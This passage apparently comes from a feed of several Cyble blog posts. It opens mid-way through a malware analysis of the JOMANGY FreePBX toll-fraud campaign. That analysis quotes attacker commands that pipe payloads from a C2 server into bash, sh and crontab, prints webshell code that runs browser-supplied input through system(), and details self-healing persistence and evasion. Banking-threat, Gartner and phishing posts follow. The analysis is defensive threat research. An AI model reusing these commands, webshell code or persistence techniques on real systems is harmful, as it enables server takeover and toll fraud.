Lines 15-25 copy the same blob to more than ten additional paths across the FreePBX web tree, including /var/www/html/h.php, /var/www/html/rest_phones/ajax.php, /var/www/html/admin/modules/h/ (ajax.php, config.php, index.php), and subdirectories under fpbxphones/ and phones/.

Lines 27-28 write an .htaccess rewrite rule (RewriteEngine On; RewriteRule .* config.php), so any request to an unrecognized path within those directories lands on a webshell copy.

Lines 7-8 reinstall the MySQL ampusers backdoor using the same DELETE + INSERT pattern as Stage 1, replanting the freepbxusers web panel account every time k.php executes.

Lines 9-10 redundantly repeat the useradd invocations for newfpbx and xhimax. Lines 29-30 apply chattr +i to the primary webshell files. Lines 31-32 execute a base64-decoded tryRoot1.sh shell script (run twice redundantly), which writes /var/www/html/admin/modules/freepbx_ha/license.php and triggers the FreePBX HA hooks.

The operator rotates k.php actively. The artifact collected (100259af, ~45KB) and the VT URL last-fetch variant (49abb105, retrieved 2026-04-29) are distinct, which suggests that what a victim receives from k.php at any given moment may differ from what was analyzed here. (See Figure 11)

The PHP webshell blob is double-obfuscated: an outer base64 layer encodes a PHP string that, when decoded, applies str_rot13() to a second encoded layer before passing the result to eval(). Once decoded, the webshell presents a form with <input type="submit" name="JOMANGY" value="JOMANGY">, the identifier establishing this as the JOMANGY family.

The outer PHP wrapper includes dead-code AV evasion and a watermark comment,/* trace_e1ebf9066a951be519a24140711839ea */, which appears in each deployed instance, tying deployments in this campaign to a single common source. (See Figure 12)

Stage 3: wr.php (d40180f7, 27KB, Bash)

wr.php mirrors the k.php structure but targets a different primary webshell path set and deploys the ZenharR family. It opens with the same concurrent dropper execution (curl http://45[.]95[.]147[.]178/x -ks | bash), then writes a ZenharR webshell blob to two paths simultaneously via tee: /var/www/html/digium_phones/ajax.php and /var/www/html/admin/views/some.php.

The subsequent 15 cp commands (lines 4 and 16–29) copy from /var/www/html/admin/views/ajax.php, which at this point contains the JOMANGY webshell placed by k.php, to 15 additional some.php paths across the FreePBX web tree.

These copies, therefore, propagate JOMANGY, not ZenharR. wr.php applies .htaccess and chattr +i to its primary write targets, runs the MySQL backdoor reinstallation with the same freepbxusers SHA1 hash, and calls back to http://45[.]95[.]147[.]178/z/post/noroot.php | sh after completing ZenharR deployment and file propagation, then once again after executing tryRoot1.sh.

The tryRoot1.sh execution writes /var/www/html/admin/modules/freepbx_ha/license.php and triggers the FreePBX HA hooks by writing a trigger token to /usr/local/asterisk/ha_trigger and /usr/local/asterisk/ha_triggers.

The wr.php cron entries land on a victim through two independent paths: license.php's dual-track reinstallation logic, and a set of explicit wget .../z/wr.php ... | crontab - commands baked directly into the tryRoot1.sh payload embedded in wr.php itself.

The license.php path is the shared channel, and the direct crontab install is a wr.php-specific fallback. A defender who neutralizes the license.php-mediated cron track but leaves wr.php's own tryRoot1.sh reachable still gets wr.php re-established on its own. (See Figure 13)

Stage 3 (parallel): wor.php (995e6304, 13KB, Bash)

wor.php is a lighter-weight dropper hosted at /z/wor.php on the C2 but with no trigger identified in any executed payload in the recovered artifact chain (see Campaign Architecture above). Unlike wr.php, it does not chain the concurrent dropper (x).

It writes a ZenharR webshell blob via tee to both /var/www/html/digium_phones/ajax.php and /var/www/html/admin/views/ajax.php simultaneously — the latter overwriting the JOMANGY webshell that k.php placed there, replacing it with ZenharR.

The 10 subsequent cp commands copy the contents of admin/views/ajax.php, which now holds ZenharR, to 10 additional paths. wor.php applies an .htaccess rewrite rule but has no chattr +i commands.

It calls back to hxxp://45[.]95[.]147[.]178/z/post/noroot.php| sh after completing ZenharR deployment and file propagation, then once again after executing the tryRoot1.sh sequence.

The deployed ZenharR instance uses a distinct auth hash (b92c65af386ed772972b43cab0d55a4a) and embeds operator VPN IP 169[.]150[.]218[.]33.

At the time of analysis, the noroot.php endpoint served an empty response, indicating a non-root execution callback path that is prepared but not yet populated with commands.

freepbx_ha/license.php (PHP executor)

license.php is a PHP script written to disk by tryRoot1.sh and invoked via the FreePBX HA mechanism. It contains system(‘%s’), a format-string placeholder that the operator populates through the JOMANGY webshell before triggering the HA hook, providing privileged arbitrary command execution. Unlike the JOMANGY and ZenharR browser-accessible webshells, license.php lacks an authentication mechanism and eval-based obfuscation.

Beyond that command slot, the script runs three independent user-deletion loops clearing all non-root UID-0 and UID-≥1000 accounts; chpasswd operations setting ueteGJYCHeMTk on root and seven service accounts (sugarmaint, spamfilter, asteriskuser, supports, asterisk, freepbxuser, and supermaint); useradd commands promoting sugarmaint, supports, and supermaint to UID-0; SSH hardening; httpd log scrubbing; a dual-track cron reinstallation covering both k.php and z/wr.php download paths; and a final curl http://45[.]95[.]147[.]178/z/post/root.php | sh. At the time of analysis, root.php served a 12-byte #!/bin/bash stub with no active commands.

The script also explicitly enables PermitRootLogin, opens TCP/22 through iptables, and restarts sshd to ensure remote administrative access remains available. (See Figure 14)

Obfuscation and Evasion Techniques

Stage 1's encoding choices are purposeful. Most of the script runs in plaintext, including competitor eviction, iptables rules, and log deletion. The base64 encoding is reserved specifically for the UID-0 useradd invocations (lines 262-264) and the shell profile stager (line 302).

The -ou 0 flag combination is one of the more reliable behavioral heuristics in endpoint tooling, and encoding those three lines costs the operator nothing while suppressing the most detectable pattern in the dropper.

The cron payload variables (B64_ZEN2, B64_DEVNULL, B64_HEAL) are stored as base64 strings decoded inline at runtime. A crontab -l on a victim host returns what appears to be benign variable assignments.

The download URLs and execution commands are not visible without manually decoding each variable. (See Figure 15)

JOMANGY's encoding is a step up from what this operator has used before. The outer PHP blob runs str_rot13() on an inner base64 payload before passing to eval(). In practice, automated analysis tools that stop after a single base64 decode pass produce ROT13 output, not PHP, and yield nothing actionable.

The dead-code stub (if(false){ $SdDDlKoPiuhDB = 'deadcode_anti_av'; }) is a separate trick that targets static heuristics that flag PHP files for suspicious variable assignments. The variable exists only inside a branch that never executes. Neither of the techniques used is novel, but both offer cheap modifications with measurable payoff. (See Figure 16)

k.php, and wr.php had zero VirusTotal submissions at the time of analysis, and Stage 1 came in at four detections across 76 engines. (See Figure 17)

Persistence Mechanisms

The campaign establishes six independent persistence channels, engineered so that partial remediation leaves the infection intact and capable of full re-establishment.

Channel 1: Primary cron polling: We observed 8 cron entries installed across 2 blocks download hxxp://45[.]95[.]147[.]178/k.php every one to three minutes and execute the result under varying binary paths in /var/lib/asterisk/bin/, /dev/shm/.systemd/, and /tmp/.cache/.

This is the primary beacon: every minute, the crontab runs, fetching the latest version of k.php and re-executing it, redeploying any removed webshells within 3 minutes. (See Figure 18)

Channel 2: Shell profile persistence. Stage 1 appends a base64-encoded download-and-execute stager to /root/.bash_profile, /root/.bashrc, and /etc/rc.local. This channel fires on every interactive root login and every system reboot, independently of the cron subsystem. An operator who kills all running dropper processes and clears the crontab will re-trigger the infection on the next login or reboot. (See Figure 19)

Channel 3: Self-healing crontab backup system. Stage 1 writes the active crontab to eight hidden paths using directory names that mimic legitimate system directories. Each file is immediately flagged immutable with chattr +i, so that rm -rf executed even by root silently fails without error. Two separate cron restore entries, then protect these backups.

The first (B64_HEAL, line 357) fires at a random minute every hour and decodes to: for b in <all 8 paths>; do [ -s "$b" ] && crontab "$b" && break; done.

The second (line 359) fires every minute with an inline condensed version, iterating five of the eight paths.

A defender who removes only the B64_HEAL entry leaves the per-minute restore entry active.

A defender who removes both restore entries but misses the immutable flag on even one backup file finds the crontab reinstalled within an hour when the next dropper execution re-installs the restore entries.

Leaving any single channel intact causes full infection to re-establish within minutes. (See Figure 20)

Channel 4: Process watchdog. Stage 1 installs a cron entry running pgrep -x zen2 || bash <download_path> and pgrep -x devnull2 || bash <download_path>. If either the primary beacon binary (zen2) or the secondary variant (devnull2) is absent from the process table, the watchdog re-downloads and re-executes k.php. Killing the beacon process without simultaneously removing the watchdog cron entry results in an immediate respawn.

Channel 5: PHP webshells with immutability. Stage 2 writes JOMANGY to over twelve paths while Stage 3 adds more. wr.php drops ZenharR directly into digium_phones/ajax.php and admin/views/some.php, then bulk-copies the existing JOMANGY shell to 15 additional paths via a cp loop. Primary copies carry chattr +i, so rm -rf issued as root returns without removing the file.

Each deployed instance is also a dropper in its own right, where a single authenticated HTTP request to any surviving shell triggers a full cron reinstall, credential rotation, and re-execution of all stages. If a defender misses one path during cleanup, the operator rebuilds the entire infection stack from a browser.

Channel 6: freepbx_ha/license.php. The PHP executor, triggered via the FreePBX HA hook mechanism, includes its own independent cron reinstallation logic for both k.php and wr.php download tracks. As long as this file exists on disk and the FreePBX HA module is installed, the operator can invoke it to rebuild the entire persistence stack from scratch. (See Figure 21)

Implant and Backdoor Analysis

JOMANGY has no prior public documentation. This analysis is its first description. Every deployed instance carries the watermark /* trace_e1ebf9066a951be519a24140711839ea */, which makes hunting straightforward: any PHP file under the FreePBX web root containing that string is a campaign artifact. An earlier variant (SHA256 039d648b, VT first seen 2026-04-07) had a different auth hash (bfcedbc1831779921a0ee2cfaee004f2) and embedded operator IP 146[.]70[.]129[.]114 (AS9009 M247 Europe SRL). The operator rotated both webshell credentials and VPN provider between that early variant and the live campaign deployment, moving from M247 to Datapacket-hosted infrastructure somewhere in between. Below is the JOMANGY operator panel. (See Figure 22)

ZenharR was documented by Unit 42 in 2022 against the same actor lineage. This is tool reuse rather than a new family. The wr.php and wor.php instances have distinct auth hashes and embedded IPs per deployment (a2f6863.../169[.]150[.]218[.]37 and b92c65af.../169[.]150[.]218[.]33).

SANS ISC diary #32892 observed a third hash (cf710203400b8c466e6dfcafcf36a411) at /admin/modules/phones/ajax.php, a third deployed variant that was not in the collected artifact set. All instances use single-layer base64 + eval obfuscation and authenticate via md5($_REQUEST['md5']) == '<hash>'; the C2's ___ask.php and ___md5.php both serve the same live token (ec4ca4db5ec0b782e51224fa7082ac06), which enables the operator to rotate webshell credentials across all victims simultaneously by updating a single file.

Post-authentication, both webshell families expose the same capabilities. The VoIP fraud module is present in all instances:

if (isset($_REQUEST['call'])) {
    system('asterisk -rx "channel originate Local/'
        . $_REQUEST['prs'] . $_REQUEST['num']
        . '@' . $_REQUEST['context']
        . ' application wait '
        . $_REQUEST['time'] . '"');
}
 

Four parameters from the browser: prs (prefix/country code), num (destination), context (Asterisk dialplan context), and time (call duration). The webshell runs asterisk -rx locally. Victim's trunks, victim's bill.

The same channel-originating interface was documented in the 2022 ZenharR samples (Unit 42) and in the January 2026 VictamPbx webshells.

The remaining capabilities are consistent across all three instances: $_REQUEST['cmd'] -> system() for arbitrary OS commands; Elastix SQLite ACL database theft (/var/www/db/acl.db); and FreePBX admin session hijack via ampuser setAdmin().

Command and Control

The C2 at 45[.]95[.]147[.]178 (AS49870 Alsycon B.V., Netherlands) hosts the /z/ directory, the operator's backend, four static text files with no panel, no framework, and no staging server visible from the recovered artifacts. ___ip.php serves a single IP address (169[.]150[.]218[.]33) that matches the operator VPN IP embedded in wor.php's ZenharR authentication form; PTR resolution returns a Datapacket hostname (AS212238), consistent with dedicated operator-controlled infrastructure, though the file's exact role on the C2 is not confirmed from the artifact alone.

 ___ask.php and ___md5.php both serve the same 32-byte string (ec4ca4db5ec0b782e51224fa7082ac06).

The most consistent read is that deployed webshells poll one of these endpoints to stay synchronized on the valid auth hash — a single file update on the C2 rotates credentials across every victim simultaneously.

___zen.php (a8b65af6c142736ccf80420e44df240f) is assessed as a ZenharR payload integrity reference; no mechanism confirming that function was identified in the recovered chain. (See Figure 23)

The scanner 160[.]119[.]76[.]250 sits in the same AS49870 allocation as the primary C2 and was independently named by SANS ISC diary #32892 as the probe origin for this campaign.

Competitor Eviction and Ecosystem Dynamics

Stage 1 evicts two distinct sets of tooling. The first is the operator's own prior-campaign artifacts; the January 2026 encystPHP infrastructure was cleared from every host being migrated to the new Dutch infrastructure.

The second is the standard competitor cleanup: roughly 50 webshell families deleted across the web tree and 11 external C2 IPs blocked bidirectionally, keeping the same pool of compromised FreePBX systems clear of actors who have been co-resident on them since at least 2020.

The self-eviction evidence is unambiguous. The prior campaign dropper (71d94479, January 2026, C2 45[.]234[.]176[.]202) deployed a webshell named "VictamPbx" with button markup name="VictamPbx" and embedded the unique marker string bm2cjjnRXac1WW3KT7k6MKTR in its own competitor eviction grep list.

Both strings appear verbatim in the current Stage 1 dropper's eviction routine, causing the current campaign to search for and delete files from the prior campaign's own webshell family.

The prior C2 IP 45[.]234[.]176[.]202 appears on the current campaign's iptables block list, blocking any still-running prior-campaign beacon from reaching its origin server.

The prior campaign's download artifacts (devnull24, devnull23, devnull2) are explicitly deleted while every compromised host is moved from the January 2026 Brazilian infrastructure to the April 2026 Dutch infrastructure (every trace of the prior generation is carried over). (See Figure 24)

The third-party cleanup spans roughly 50 webshell signatures: b374k, t3rr0r, Hacked, New-Pbx, FaTaLisTiCz_Fx, b3d0r, yokyok, watchTowr, nahda, bluej, Black Ban V1.01, and others. b3d0r and yokyok have appeared in INJ3CTOR3 eviction lists since 2020.

The same actors have been sharing these compromised hosts with INJ3CTOR3 for at least 6 years, only to be evicted with each new campaign generation.

The watchTowr entry is worth noting separately (the same research group whose CVE-2025-57819 PoC artifacts get evicted from disk) is also the source of the vulnerability most consistent with this campaign's initial access method.

The iptables blocking goes in both directions — INPUT -s <C2> DROP stops competitor servers from delivering payloads or issuing commands; OUTPUT -d <C2> DROP stops the host from calling back, even if a competitor webshell survives the filesystem eviction.

The seven competitor IPs replaced in the FreePBX and Asterisk config files are the same C2 hijacking the 2022 generation. Wherever prior malware had pointed FreePBX to a competitor’s IP address, this campaign overwrites it with its own IP address, diverting any residual callbacks.

Conclusion

JOMANGY is documented as a previously undocumented PHP webshell family, deployed with double-layer obfuscation, that outperforms every prior generation of INJ3CTOR3 tooling. k.php and wr.php arrived at near-zero AV coverage, and the operator is actively rotating k.php to sustain that gap.

What distinguishes this generation is not the count of persistence channels but the engineering logic connecting them. Each of the six channels can rebuild every other channel. Immutable crontab backups silently block root-level deletion. Every deployed webshell doubles as a complete dropper.

The architecture is designed to prevent sequential remediation from succeeding. Clearing five of six channels hands the infection a recovery window measured in minutes. A confirmed infection warrants a full rebuild from a clean baseline.

The self-eviction of prior campaign artifacts is as analytically significant as the new tooling. Hunting down VictamPbx artifacts, cutting off the old C2, and rotating passwords on dormant accounts all point to an intentional botnet migration rather than an incidental cleanup.

Six years of continuous operation, each generation cleanly evicting the last, reflects the discipline that keeps this campaign running through repeated public disclosure.

Both candidate CVEs are patched in current FreePBX releases, but the 700+ hosts Shadowserver tracked as still compromised five months after the CVE-2025-64328 disclosure suggest that patching alone does not equal remediation.

On an already-owned host, patching closes the entry point but leaves the cron infrastructure intact, allowing the infection to re-establish itself before the patch can take effect.

The C2 at 45[.]95[.]147[.]178 remains active. Cyble Research & Intelligence Labs continues to monitor the evolution of INJ3CTOR3's infrastructure and toolset.

The post JOMANGY: INJ3CTOR3’s Self-Healing FreePBX Toll Fraud Campaign appeared first on Cyble.

The Gulf Cooperation Council (GCC) region has spent the last several years building one of the world’s most ambitious digital economies. Across Bahrain, Kuwait, Oman, Qatar, Saudi Arabia, and the UAE, governments and enterprises have accelerated investments in cloud infrastructure, AI-driven services, smart cities, and digital banking technology at a pace rarely seen elsewhere. Banks are rolling out instant payments, embedded finance services, mobile-first platforms, and API-driven ecosystems designed to support a rapidly expanding fintech economy.

But this transformation has introduced a difficult reality for security teams: every new integration, cloud workload, mobile application, and third-party service expands the digital banking attack surface.

In 2026, attackers are no longer merely probing isolated systems. Fintech companies, telecom infrastructure, SaaS platforms, APIs, cloud environments, and vendor supply chains are just a few of the interconnected ecosystems they are taking advantage of.

Due to the GCC's modernization efforts, ransomware operators, state-backed threat actors, and financially motivated cybercrime groups that use automation and AI-enhanced attack methodologies now view the area as a high-value target. As a result, the environment for banking cybersecurity is becoming faster, more dispersed, and much more difficult to defend.

Ransomware Operations Are Targeting GCC Financial Ecosystems 

Throughout 2024 and 2025, ransomware continued to be one of the GCC's most disruptive cyberthreats, especially for industries linked to economic stability and national infrastructure. Organized cybercrime gangs consistently targeted financial institutions, telecommunications businesses, healthcare providers, logistics companies, and government agencies.  

Because digital banking technology extensively relies on cloud services, third-party integrations, and networked platforms, the danger has become particularly acute for banks and fintech companies. Instead of going straight against institutions, attackers take advantage of these connections to spread laterally across contexts.  

Attacks impacting enterprises around the Middle East have been connected to groups like Qilin, DarkVault, and remnants of the Conti ransomware network. Qilin, which is well-known for its double-extortion strategy, allegedly targeted energy and logistics companies by obtaining confidential information, encrypting networks, and then requesting money. DarkVault leveraged recently discovered vulnerabilities impacting high-availability systems and VPN vulnerabilities to target companies in Qatar and Oman.  

Additionally, the strategies have advanced beyond conventional encryption attacks. Threat actors frequently use watering hole attacks, credential theft operations, and Man-in-the-Middle (MiTM) interception tactics to infiltrate websites that employees in targeted industries frequently visit.  

The rate of exploitation has emerged as a key issue. Within days of being made public, vulnerabilities like CVE-2024-4577 and CVE-2024-26169 were allegedly weaponized. CISOs are being forced to completely reconsider patch management, exposure monitoring, and incident response workflows due to this decreasing reaction window 

Open Banking Security Is Becoming a Regional Pressure Point

The expansion of open banking security standards across the Gulf Cooperation Council (GCC) has created enormous opportunities for innovation, but it has also raised exposure, which many institutions are still finding challenging.   

Modern banking ecosystems heavily rely on APIs to connect banks with fintech apps, payment gateways, digital wallets, lending platforms, and customer analytics tools. These integrations improve consumer satisfaction and expedite service delivery, but they also provide attackers with extremely attractive access points.   

Cybercriminal organizations target exposed APIs, inadequate authentication processes, overpermissioned connections, and incorrectly configured cloud services. In several recent instances, attackers have gained access through trusted third-party connections rather than getting into institutions directly.   

This shift is changing the fundamentals of fintech cybersecurity. Security forces no longer guard a single perimeter. Instead, they are attempting to protect dynamic ecosystems that include remote developers, SaaS platforms, cloud-native applications operating across many jurisdictions, and external vendors.   

Gaps in visibility make the issue worse. Many firms still lack real-time visibility of all externally exposed assets connected to their surroundings. Because of forgotten APIs, abandoned web apps, insecure VPNs, and uncontrolled cloud instances, attackers still have low-friction access points.  

Data Breaches and Dark Web Exposure Continue to Rise

Data breaches and underground market activities have significantly grown as digital banking technology spreads throughout the Gulf Cooperation Council.  

In just the first half of 2025, researchers found over 90 instances of GCC-related data being released on illicit marketplaces and dark web forums. Sensitive company documents, financial details, login credentials, and personally identifiable information were allegedly among the leaked data.  

Stolen financial and fintech data is now a very lucrative commodity for cybercriminals. Credentials can be sold to other criminal organizations that specialize in financial theft or utilized for ransomware operations, fraud campaigns, and account takeover attempts.  

One noteworthy event was a cloud provider in the United Arab Emirates that was allegedly infiltrated, resulting in the exfiltration of customer data from the fintech and healthcare industries. Later, the stolen data appeared on black marketplaces where hackers tried to profit from the hack.  

E-Commerce and Digital Payments Are Expanding the Digital Banking Attack Surface

Another quickly growing attack surface has been produced by the GCC's thriving e-commerce industry. Attackers are focusing more on customer-facing infrastructure as online payments, digital wallets, and real-time financial services expand.  

Researchers found that phishing and credential-stuffing attacks against GCC e-commerce platforms increased by 25% between the first and third quarters of 2025. In other instances, after attackers took advantage of lax password policies or unpatched web applications, hacked administrator credentials subsequently surfaced on underground forums.  

Attacks on software supply chains increased dramatically at the same time. Researchers monitored about 16 software supply chain threats every month on average throughout the region between October 2024 and May 2025.  

These examples highlight the preference of attackers for indirect compromise. Instead, then breaking into a big bank directly, they go after software manufacturers, cloud service providers, managed service providers, or API partners that can give access to several downstream victims at once.  

Fintech cybersecurity executives are being compelled by this development to examine third-party risk management more closely than in the past. 

AI-Driven Cybercrime Is Accelerating Faster Than Defenders Can Respond

One of the defining characteristics of the 2026 threat landscape is the industrialization of cybercrime. 

Cybercrime-as-a-service ecosystems have matured into structured underground marketplaces where attackers can purchase malware kits, leased infrastructure, stolen credentials, penetration testing tools, and even negotiation services for ransomware operations. 

Ransomware groups such as Qilin and Akira expanded beyond malware deployment by offering affiliates industry-specific attack playbooks and outsourced operational support. Global ransomware payments surpassed $2.1 billion over the last three years while the cost of enterprise-grade attack tools declined substantially. 

Artificial intelligence is amplifying this trend. 

Attackers now use AI-generated phishing campaigns, automated reconnaissance systems, and deepfake-enabled fraud operations to scale attacks far more efficiently than traditional methods allowed. AI tools are also being used to scrape social media, map executive hierarchies, and craft highly personalized phishing messages capable of bypassing conventional detection systems. 

For financial institutions operating complex digital banking technology environments, this creates an asymmetrical problem: attackers can automate offensive operations faster than many organizations can modernize defensive workflows. 

Compliance Enforcement Is Becoming More Aggressive

Regulators across global markets strengthened cybersecurity enforcement significantly throughout 2025, and GCC organizations are feeling that pressure. 

Compliance requirements now extend far beyond annual audits and policy documentation. Regulators expect measurable operational resilience, continuous monitoring, rapid breach disclosure, and stronger oversight of third-party vendors. 

For banks and fintech providers, open banking security obligations are becoming especially demanding because institutions must demonstrate visibility into API activity, cloud risk exposure, and interconnected vendor ecosystems. 

This shift reflects a growing recognition that cybersecurity failures can rapidly evolve into systemic economic risks when digital financial services become deeply interconnected. 

As a result, enterprises are investing more heavily in automated evidence collection, AI-assisted security operations centers, continuous attack surface monitoring, and intelligence-driven risk management programs. 

Speed Has Become the Defining Factor in Banking Cyber Security

The most critical lesson from the GCC cyber landscape is that modern attacks are defined by speed. Threat actors are no longer taking days or weeks to progress from initial access to privilege escalation and data exfiltration; they are completing the entire attack chain in a matter of hours. Organizations relying on manual investigations and fragmented tooling often struggle to contain incidents before they translate into real operational and financial impact. 

To keep pace, security teams are shifting toward AI-driven defense models that reduce response time through behavioral analytics, automated triage, and intelligent incident response workflows. Platforms like Cyble, the world’s first AI-native unified cybersecurity platform, are enabling this transformation by delivering continuous threat intelligence, real-time attack surface visibility, and autonomous response capabilities across complex digital ecosystems. 

Cyble’s AI-native approach, powered by Cyble Vision, Cyble Titan EDR, and Blaze AI—helps organizations detect, correlate, and respond to threats faster than traditional security stacks, reducing dwell time and improving resilience across cloud, API, and fintech environments. 

In 2026, cybersecurity effectiveness is no longer defined by prevention alone, but by how quickly organizations can detect anomalies, contain threats, and disrupt attacker movement across interconnected systems. 

As the GCC’s digital transformation accelerates, the digital banking attack surface continues to expand with every new API, cloud workload, and third-party integration. Attackers are already adapting to this reality, automating their operations and targeting the weakest links in the ecosystem. 

Organizations that succeed will be those that move faster than the threat itself. With Cyble’s AI-native cybersecurity platform, security teams can unify intelligence, automate response, and stay ahead of evolving cyber risks in real time. 

Strengthen your defense against modern cyber threats with Cyble. Book a demo to see how an AI-native security platform can help you detect, respond, and outpace attackers across your entire digital banking attack surface. 

The post GCC Cyber 2026: How Digital Banking Expansion Is Creating a New Attack Surface Attackers Are Already Exploiting appeared first on Cyble.

This morning, Cyble was recognized in the 2026 Gartner® Magic Quadrant™ for Cyberthreat Intelligence Technologies as a Challenger. 

I want to use this post for two things. First, to thank the people who got us here. Second, to share what we believe this recognition actually signals — because the more interesting story isn’t about Cyble at all. It’s about where this category is going. 

A milestone for us, not a finish line 

Six years ago, when we started Cyble, the threat intelligence market was a fragmented mix of feed aggregators, dark web monitoring point tools, and incident-response heritage vendors trying to retrofit themselves into a different decade. We saw a different future: one where intelligence is AI-native by default, unified across the surface and dark web, delivered straight into the SOC workflow, and built for the speed adversaries actually move. 

We bet on that future hard. Today, several organizations across 50+ countries trust us to run that vision in production. And today, Gartner placed us in the Challengers Quadrant alongside what we believe are the most established names in the category. 

For us, being named “a Challenger” isn’t a footnote. It’s a signal that Cyble is now operating at the level of the incumbents — with a sharper, AI-native foundation underneath. That’s the bet finally paying off in public. 

What we believe this recognition signals about the category 

Three things, in order of importance: 

1. The category has changed. The buyer has too. 

A decade ago, threat intelligence was a research function. It produced reports. Today, threat intelligence is an operational function. It produces actions. The teams winning in 2026 don’t have time for a 40-page weekly bulletin — they need a platform that triages noise into signal at AI-speed and pipes it into the workflows their analysts already use. 

As we see it, the Magic Quadrant reflects that shift. The vendors moving up are the ones investing in operational depth, not just content depth. 

2. Unified beats fragmented. Always. 

The most consistent feedback we hear from CISOs is that they’re tired of stitching five tools together to investigate one threat. Dark web in one console. Brand monitoring in another. Attack surface somewhere else. Vulnerability prioritization in a fourth. Executive protection bolted on as an afterthought. 

Cyble’s bet from day one: this should be one platform. One workbench. One source of truth for everything happening outside your perimeter. The market is finally catching up to that thesis, and the analyst community is recognizing it. 

3. AI in CTI is past the demo phase. 

Three years ago, “AI in threat intelligence” mostly meant “we used a model to cluster keywords.” Today, AI is doing the work — translating a Russian-language forum post into context-rich intelligence, correlating leaked credentials with actual customer accounts in real time, predicting which CVEs will be weaponized in the next 30 days. Our customers run this in production, every day. 

We feel the Magic Quadrant recognition is, in part, recognition that this work is real now. It’s not a slide. It’s running in your SOC. 

What it doesn’t mean 

A few things I want to be careful about, because moments like this can encourage overstatement: 

• This recognition is not an endorsement. Gartner does not endorse vendors. The Magic Quadrant is a research opinion, not a buying recommendation. If you’re a security leader making a CTI decision, please do the diligence you’d do anyway — POCs, customer references, hands-on evaluation against your real use cases. 

• We are a Challenger, not a Leader. We’re proud of where we are positioned. We’re also clear-eyed about why we believe so: Leaders typically reflect a longer market tenure and broader feature surface, both of which compound with time. We have work ahead of us, and we know exactly where. 

• A quadrant placement doesn’t change a single threat in your environment. The work is still the work. Adversaries don’t read research reports. 

What we owe the people who got us here 

This is the part I care about most. 

To our customers: thank you. Every conversation about triage speed, dark web visibility, and SOC integration shaped what we built. You pushed us harder than any roadmap process ever could. 

To the Cyble team — every researcher, engineer, designer, CSM, seller, partner manager, ops person, recruiter — this milestone is yours. I get to write the blog post. You did the work. 

To the analysts and the broader research community: thank you for taking the time to understand what we’re building. The rigor in this category is what makes it credible. 

What’s next 

Three things you can expect from Cyble in the next 12 months: 

1. Deeper AI capabilities in the analyst workbench — predictive prioritization, automated investigation, language coverage in regions where adversaries are getting harder to track. 

2. Tighter SOC integration, including expanded native connectors and better evidence handoffs into your detection-engineering and IR workflows. 

3. Broader category coverage — third-party risk, executive protection, brand intelligence — all delivered in one pane of glass, not bolted on. 

And in 18 months, we plan to be a different name on a different part of the quadrant. That’s the work. 

If you want to read the report, we’ve made a complimentary copy available here: Access the report here. 

If you want to talk about what this means for your CTI program, contact our team, here. 

To everyone who’s been part of this journey — customers, Cyblers, partners, analysts — thank you. 

We’re just getting started. 

— Beenu Arora Co-Founder & CEO, Cyble 

Gartner, Magic Quadrant for Cyber Threat Intelligence Technologies, Jonathan Nunez, Carlos De Sola Caraballo, Jaime Anderson, May 4, 2026. 

Gartner and Magic Quadrant are trademarks of Gartner, Inc. and/or its affiliates. 

Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose. 

The post Cyble Recognized in the 2026 Gartner® Magic Quadrant™ for Cyberthreat Intelligence Technologies — and What Cyble Feels It Means for the Next Era of Threat Intel appeared first on Cyble.

The modern enterprise is no longer breached in the traditional sense. Firewalls remain intact; endpoints appear compliant, and credentials are often never “stolen” in the usual way. Yet attackers still get in—and stay in. The difference lies in how trust is being weaponized.  

Threat actors are executing what looks like a supply chain attack without ever touching the actual supply chain infrastructure. Instead, they exploit the implicit trust organizations place in browsers, third-party services, and user behavior. 

This shift represents a quiet but dangerous evolution in supply chain cybersecurity. It’s less about breaking systems and more about bending them, using legitimate access paths to bypass defenses that were designed to stop intrusion, not misuse. 

The Rise of “Invisible” Supply Chain Attacks 

Traditional software supply chain attack scenarios often involve tampering with code libraries, compromising vendors, or injecting malicious updates. Those risks still exist, but attackers are now pursuing a lighter, faster approach: manipulating user-facing workflows that rely on trusted platforms. 

In recent campaigns, phishing pages masquerade as routine services—identity verification tools, account recovery portals, or internal workflows. What makes these attacks stand out is not just the deception, but the permissions they request. Instead of asking for passwords, they request access to cameras, microphones, and device-level metadata. 

This tactic transforms a simple phishing attempt into a sophisticated supply chain attack example—one where the “chain” is not software distribution, but user trusts in familiar digital processes. 

Once permissions are granted, the attack doesn’t need to escalate privileges. It already has them. 

When Browsers Become Data Exfiltration Tools 

Modern browsers are powerful. They support APIs for video capture, audio recording, geolocation, and device fingerprinting. These capabilities are designed for legitimate applications—but in the wrong hands, they become surveillance tools. 

Attackers embed scripts within phishing pages that activate these features immediately after permission is granted. Within seconds, they can: 

• Capture images and short video clips from the user’s camera  

• Record audio through the microphone  

• Collect device details such as OS, browser version, and memory  

• Approximate location and network characteristics  

This isn’t brute-force hacking. It’s precision harvesting. 

The data is then quietly transmitted to attacker-controlled systems, often using simple channels like messaging bots. There’s no need for complex infrastructure, which makes detection even harder. 

From a supply chain cybersecurity perspective, this is particularly concerning. The browser—arguably one of the most trusted components in enterprise environments—becomes the weakest link. 

QR Codes and the Expansion of the Attack Surface 

Another variation of this evolving threat involves QR codes embedded in seemingly legitimate documents. This technique, often called “quishing,” shifts the attack from desktops to mobile devices. 

An employee receives a polished PDF—perhaps an HR document or compliance guide. It looks authentic, reads well, and builds credibility. Then, at the end, it asks the user to scan a QR code for more information. 

That scan leads to a phishing site. 

Because QR codes obscure the underlying URL, they bypass many traditional email filters. On mobile devices, where users are less likely to scrutinize links, the success rate increases dramatically. 

This approach represents another subtle supply chain attack example: attackers are exploiting trusted communication formats—PDFs, QR codes, and mobile workflows—to deliver malicious payloads without triggering alarms. 

Adversary-in-the-Middle: The New Credential Theft 

Credential harvesting has also evolved. Instead of simply collecting usernames and passwords, attackers now position themselves between the user and the legitimate service. 

This adversary-in-the-middle (AITM) technique allows them to intercept: 

• Login credentials  

• Multi-factor authentication (MFA) codes  

• Session tokens  

In effect, they don’t just log in—they become the user. 

This is particularly damaging in enterprise environments where MFA was once considered a strong defense. It highlights a critical gap in how to prevent supply chain attacks: focusing solely on authentication is no longer enough. Continuous verification and behavioral monitoring are now essential. 

Why These Attacks Work 

What makes these campaigns effective isn’t just technical sophistication—it’s psychological alignment. Every step mimics something users already trust: 

• Identity verification flows  

• Corporate documents  

• QR-based access to resources  

• Familiar login interfaces  

